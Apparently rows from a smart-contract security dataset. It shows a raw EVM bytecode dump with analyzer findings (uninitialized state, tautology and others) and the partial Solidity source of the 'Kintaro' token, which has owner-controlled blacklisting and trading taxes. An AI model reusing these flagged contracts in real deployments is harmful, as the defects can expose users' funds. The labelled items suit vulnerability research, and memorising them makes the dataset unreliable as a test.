9150505050505091905050611de5565b005b34156106c657600080fd5b6106f2600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611ee7565b6040518082815260200191505060405180910390f35b341561071357600080fd5b61073f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611eff565b005b341561074c57600080fd5b6107d960048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611fd4565b005b34156107e657600080fd5b61081b600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050612124565b604051808215151515815260200191505060405180910390f35b61083d610e62565b005b341561084a57600080fd5b61088d60048080359060200190919080359060200190919080359060200190919080359060200190919080359060200190919080359060200190919050506121d2565b604051808215151515815260200191505060405180910390f35b34156108b257600080fd5b6108ba612267565b6040518082815260200191505060405180910390f35b34156108db57600080fd5b610953600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061226d565b604051808215151515815260200191505060405180910390f35b341561097857600080fd5b610980612313565b604051808215151515815260200191505060405180910390f35b34156109a557600080fd5b6109f0600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612326565b6040518082815260200191505060405180910390f35b3415610a1157600080fd5b610a196123f9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610a6657600080fd5b610a6e61241f565b6040518082815260200191505060405180910390f35b3415610a8f57600080fd5b610a97612425565b604051808215151515815260200191505060405180910390f35b3415610abc57600080fd5b610ac46124a4565b6040518082815260200191505060405180910390f35b3415610ae557600080fd5b610b30600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506124aa565b6040518082815260200191505060405180910390f35b3415610b5157600080fd5b610b59612531565b604051808215151515815260200191505060405180910390f35b3415610b7e57600080fd5b610baa600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612544565b604051808215151515815260200191505060405180910390f35b3415610bcf57600080fd5b610bd7612757565b604051808215151515815260200191505060405180910390f35b3415610bfc57600080fd5b610c046127d6565b604051808215151515815260200191505060405180910390f35b3415610c2957600080fd5b610c31612855565b604051808215151515815260200191505060405180910390f35b3415610c5657600080fd5b610c5e612868565b6040518082815260200191505060405180910390f35b3415610c7f57600080fd5b610c8761286e565b604051808215151515815260200191505060405180910390f35b3415610cac57600080fd5b610d02600480803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091908035906020019091905050612881565b005b3415610d0f57600080fd5b610dca600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190505061299e565b604051808215151515815260200191505060405180910390f35b3415610def57600080fd5b610df7612e29565b604051808215151515815260200191505060405180910390f35b3415610e1c57600080fd5b610e48600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050612ea8565b604051808215151515815260200191505060405180910390f35b600080600080601560019054906101000a900460ff16151515610e8457600080fd5b60001515600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515141515610ee357600080fd5b33935034925060001515601560029054906101000a900460ff161515141515610f0b57600080fd5b60001515601560009054906101000a900460ff161515141561100057610f3e600654601454612ec890919063ffffffff16565b83101515610f8e57610f5b60045484612ec890919063ffffffff16565b9150610f856064610f7760125485612ec890919063ffffffff16565b612efb90919063ffffffff16565b82019150610ffb565b610fa5600654601354612ec890919063ffffffff16565b83101515610ff557610fc260045484612ec890919063ffffffff16565b9150610fec6064610fde60115485612ec890919063ffffffff16565b612efb90919063ffffffff16565b82019150610ffa565b600080fd5b5b611029565b600554831015151561101157600080fd5b61102660045484612ec890919063ffffffff16565b91505b600e54821115151561103a57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050151561109b57600080fd5b6110a58483612f16565b50600c54600f541015156110ea576001601560026101000a81548160ff0219169083151502179055506001601560016101000a81548160ff0219169083151502179055505b50505050565b6110f86136f6565b60098054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561118e5780601f106111635761010080835404028352916020019161118e565b820191906000526020600020905b81548152906001019060200180831161117157829003601f168201915b5050505050905090565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600c54905090565b600060011515601060009054906101000a900460ff1615151415156112b857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112f55750600082115b8015611340575081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156113c8575081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b8015611424575060001515600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8015611480575060001515600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b151561148b57600080fd5b6114dd82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461309290919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061157282600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130ab90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061164482600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461309290919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6000600b60009054906101000a900460ff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117a857600080fd5b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156117f657600080fd5b33905061184b82600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461309290919063ffffffff16565b600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a382600c5461309290919063ffffffff16565b600c819055506118be82600f5461309290919063ffffffff16565b600f819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a25050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561197357600080fd5b60ff82511115151561198457600080fd5b600090505b81518160ff161015611a1457600160036000848460ff168151811015156119ac57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611989565b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a7557600080fd5b3073ffffffffffffffffffffffffffffffffffffffff163190508173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515611acf57600080fd5b5050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b3057600080fd5b6001601560026101000a81548160ff0219169083151502179055506001905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bf857600080fd5b6001601060006101000a81548160ff0219169083151502179055506001905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611c476136f6565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611cdd5780601f10611cb257610100808354040283529160200191611cdd565b820191906000526020600020905b815481529060010190602001808311611cc057829003601f168201915b5050505050905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d4457600080fd5b6001601560006101000a81548160ff0219169083151502179055506001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611dc357600080fd5b6001601560016101000a81548160ff0219169083151502179055506001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611e4257600080fd5b60ff825111151515611e5357600080fd5b600090505b81518160ff161015611ee357600060036000848460ff16815181101515611e7b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080600101915050611e58565b5050565b60076020528060005260406000206000915090505481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f5a57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515611fd157806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561203157600080fd5b601560019054906101000a900460ff1615151561204d57600080fd5b60ff83511115151561205e57600080fd5b8151835114151561206e57600080fd5b600090505b82518160ff16101561211f57600e54828260ff1681518110151561209357fe5b90602001906020020151111515156120aa57600080fd5b6120e8838260ff168151811015156120be57fe5b90602001906020020151838360ff168151811015156120d957fe5b90602001906020020151612f16565b50600c54600f54101515612112576001601560016101000a81548160ff0219169083151502179055505b8080600101915050612073565b505050565b600061212e61370a565b60011515601060009054906101000a900460ff16151514151561215057600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544211151561219d57600080fd5b6121a6846130c9565b156121bd576121b68484836130dc565b91506121cb565b6121c884848361347d565b91505b5092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561222f57600080fd5b866005819055508560048190555084601181905550836012819055508260138190555081601481905550600190509695505050505050565b600d5481565b600060011515601060009054906101000a900460ff16151514151561229157600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054421115156122de57600080fd5b6122e7846130c9565b156122fe576122f78484846130dc565b905061230c565b61230984848461347d565b90505b9392505050565b601560019054906101000a900460ff1681565b60008060008491508173ffffffffffffffffffffffffffffffffffffffff166370a08231856000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15156123d157600080fd5b6102c65a03f115156123e257600080fd5b505050604051805190509050809250505092915050565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60045481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561248257600080fd5b6000601560016101000a81548160ff0219169083151502179055506001905090565b600e5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601060009054906101000a900460ff1681565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156125a457600080fd5b8391508173ffffffffffffffffffffffffffffffffffffffff166370a08231306000604051602001526040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b151561264a57600080fd5b6102c65a03f1151561265b57600080fd5b5050506040518051905090508173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b151561273357600080fd5b6102c65a03f1151561274457600080fd5b5050506040518051905092505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156127b457600080fd5b6000601060006101000a81548160ff0219169083151502179055506001905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561283357600080fd5b6000601560006101000a81548160ff0219169083151502179055506001905090565b601560009054906101000a900460ff1681565b600f5481565b601560029054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156128de57600080fd5b601560019054906101000a900460ff161515156128fa57600080fd5b60ff83511115151561290b57600080fd5b600e54821115151561291c57600080fd5b600090505b82518160ff16101561297057600e54821115151561293e57600080fd5b612962838260ff1681518110151561295257fe5b9060200190602002015183612f16565b508080600101915050612921565b600c54600f54101515612999576001601560016101000a81548160ff0219169083151502179055505b505050565b600060011515601060009054906101000a900460ff1615151415156129c257600080fd5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205442111515612a0f57600080fd5b612a18856130c9565b15612e135783612a2733611b52565b1015612a3257600080fd5b612a8484600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461309290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b1984600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130ab90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff166000836040518082805190602001908083835b602083101515612bab5780518252602082019150602081019050602083039250612b86565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390207c01000000000000000000000000000000000000000000000000000000009004903387876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828051906020019080838360005b83811015612c8c578082015181840152602081019050612c71565b50505050905090810190601f168015612cb95780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185886187965a03f193505050501515612cdd57fe5b826040518082805190602001908083835b602083101515612d135780518252602082019150602081019050602083039250612cee565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019050612e21565b612e1e85858561347d565b90505b949350505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612e8657600080fd5b6000601560026101000a81548160ff0219169083151502179055506001905090565b60036020528060005260406000206000915054906101000a900460ff1681565b60008082840290506000841480612ee95750828482811515612ee657fe5b04145b1515612ef157fe5b8091505092915050565b6000808284811515612f0957fe5b0490508091505092915050565b6000601560019054906101000a900460ff16151515612f3457600080fd5b6000600e5410151515612f4657600080fd5b600e548211151515612f5757600080fd5b612f6c82600f546130ab90919063ffffffff16565b600f81905550612f8782600e5461309290919063ffffffff16565b600e81905550612fdf82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130ab90919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008282111515156130a057fe5b818303905092915050565b60008082840190508381101515156130bf57fe5b8091505092915050565b600080823b905060008111915050919050565b600080836130e933611b52565b10156130f457600080fd5b61314684600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461309290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131db84600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130ab90919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156132e35780820151818401526020810190506132c8565b50505050905090810190601f1680156133105780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561333057600080fd5b6102c65a03f1151561334157600080fd5b505050826040518082805190602001908083835b60208310151561337a5780518252602082019150602081019050602083039250613355565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208573ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16876040518082815260200191505060405180910390a48473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a360019150509392505050565b60008261348933611b52565b101561349457600080fd5b6134e683600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461309290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061357b83600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130ab90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816040518082805190602001908083835b6020831015156135f457805182526020820191506020810190506020830392506135cf565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405180910390208473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c16866040518082815260200191505060405180910390a48373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600190509392505050565b602060405190810160405280600081525090565b6020604051908101604052806000815250905600a165627a7a7230582039ffd80f1c8c99483741395281472bb000bbd5b295aa6fc951cd8e36793b5b250029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}]}}
7,275
0x190422a6fe480136a148d19e82e8af68d300a879
/** *Submitted for verification at Etherscan.io on 2022-04-05 */ //Telegram - https://t.me/KintaroToken //Website - https://kintaro.online/ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract Kintaro is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Kintaro"; string private constant _symbol = "Kintaro"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 17; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xB7C9D2dcC1918b04440705c8B5Ff829C1959Ef26); address payable private _marketingAddress = payable(0xB7C9D2dcC1918b04440705c8B5Ff829C1959Ef26); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000000 * 10**9; uint256 public _maxWalletSize = 1000000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee 